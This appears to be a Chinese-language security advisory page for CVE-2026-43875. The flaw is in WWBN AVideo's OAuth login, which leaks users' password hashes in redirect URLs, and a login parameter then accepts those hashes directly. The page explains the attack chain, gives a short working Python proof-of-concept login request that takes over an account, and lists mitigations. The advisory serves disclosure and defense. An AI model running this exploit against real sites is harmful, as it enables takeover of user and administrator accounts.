IPBUF安全漏洞报告
English
CVE-2026-43875 CVSS 6.8 中危

CVE-2026-43875 WWBN AVideo OAuth凭据泄露漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-43875
漏洞类型
凭据泄露
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
WWBN AVideo

相关标签

Credentials LeakageAuthentication BypassInsecure Direct Object ReferenceWWBN AVideoOAuth

漏洞概述

WWBN AVideo是一个开源视频平台,在29.0及以下版本中存在严重的安全漏洞。该漏洞源于OAuth登录流程的不安全实现。在用户完成OAuth登录时,系统会通过HTTP 302重定向将用户重定向到成功页面,但关键问题在于重定向的URL参数中直接包含了从数据库读取的用户密码哈希值。由于AVideo的登录接口支持直接传递哈希值进行认证,任何能够获取到该重定向URL(例如通过服务器日志、Referer头泄露或浏览器历史记录)的攻击者,都可以提取出密码哈希,并利用该哈希值直接登录系统,从而完全接管用户账户,包括管理员账户。

技术细节

该漏洞的根本原因在于敏感信息(密码哈希)的不安全传输以及登录验证逻辑的缺陷。具体技术细节如下:首先,在`plugin/MobileManager/oauth2.php`文件中,OAuth登录成功后的处理逻辑存在设计失误。系统直接从数据库中查询用户的密码哈希(格式为md5(hash("whirlpool", sha1(password)))),并将其作为明文参数放置在HTTP 302重定向响应的`Location`头中,形如`oauth2Success.php?user=<email>&pass=<HASH>`。这种做法导致哈希值暴露在多个不安全的存储介质中。其次,AVideo的登录端点`objects/login.json.php`提供了一个`encodedPass=1`的参数机制。正常登录时,服务端会对用户输入的明文密码进行哈希运算;但当检测到`encodedPass=1`时,系统会跳过哈希运算步骤,直接将用户输入的`pass`参数值与数据库中存储的哈希值进行字符串比对。这意味着,攻击者只需从泄露的URL中截获`pass`参数的值,构造一个包含`user`、`pass`和`encodedPass=1`的POST请求发送至登录接口,即可绕过密码验证逻辑,成功获取该用户的Session,实现对系统的完全控制。CVSS 3.1评分为6.8,攻击向量为网络(AV:N),攻击复杂度高(AC:H),无需权限(PR:N),但需要用户交互(UI:R),对机密性和完整性影响较大。

攻击链分析

STEP 1
1. 触发OAuth登录
受害者(包括管理员)在系统上通过MobileManager插件进行OAuth登录操作。
STEP 2
2. 服务器重定向泄露凭据
服务器端`plugin/MobileManager/oauth2.php`处理登录请求,生成包含用户密码哈希的URL,并通过HTTP 302 Location头进行重定向。
STEP 3
3. 攻击者获取URL
攻击者通过中间人攻击、查看服务器访问日志、分析Referer头或浏览器历史记录等途径,捕获到包含密码哈希的重定向URL。
STEP 4
4. 提取哈希值
攻击者从URL参数中解析出`user`(邮箱)和`pass`(密码哈希)字段的值。
STEP 5
5. 构造恶意请求
攻击者向`objects/login.json.php`发送POST请求,设置`encodedPass=1`,并填入获取到的哈希值。
STEP 6
6. 接管账户
系统验证通过(直接比对哈希),攻击者获得受害者的登录会话,完全接管账户权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target-site/objects/login.json.php" # The leaked credentials captured from the HTTP 302 redirect URL # Example URL leak: .../[email protected]&pass=8843d7f92416211de9ebb963ff4ce28125932878 victim_email = "[email protected]" leaked_hash = "8843d7f92416211de9ebb963ff4ce28125932878" # Exploit payload # The vulnerability lies in the 'encodedPass' parameter which bypasses normal password hashing payload = { "user": victim_email, "pass": leaked_hash, "encodedPass": "1" } try: # Send login request using the leaked hash response = requests.post(target_url, data=payload) if response.status_code == 200: # Check if login was successful (response structure may vary) if "success" in response.text or response.json().get("status") == "ok": print("[+] Exploit successful! Account taken over.") print("[+] Response:", response.text) else: print("[-] Login failed. Server response:", response.text) else: print("[-] Connection error or server issue.") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

WWBN AVideo <= 29.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用MobileManager插件中的OAuth登录功能,以切断漏洞触发途径。同时,管理员应审查系统日志,确认是否存在凭据泄露的迹象,并通知所有受影响用户修改密码。此外,应配置Web服务器禁止记录包含敏感参数的URL查询字符串。

参考链接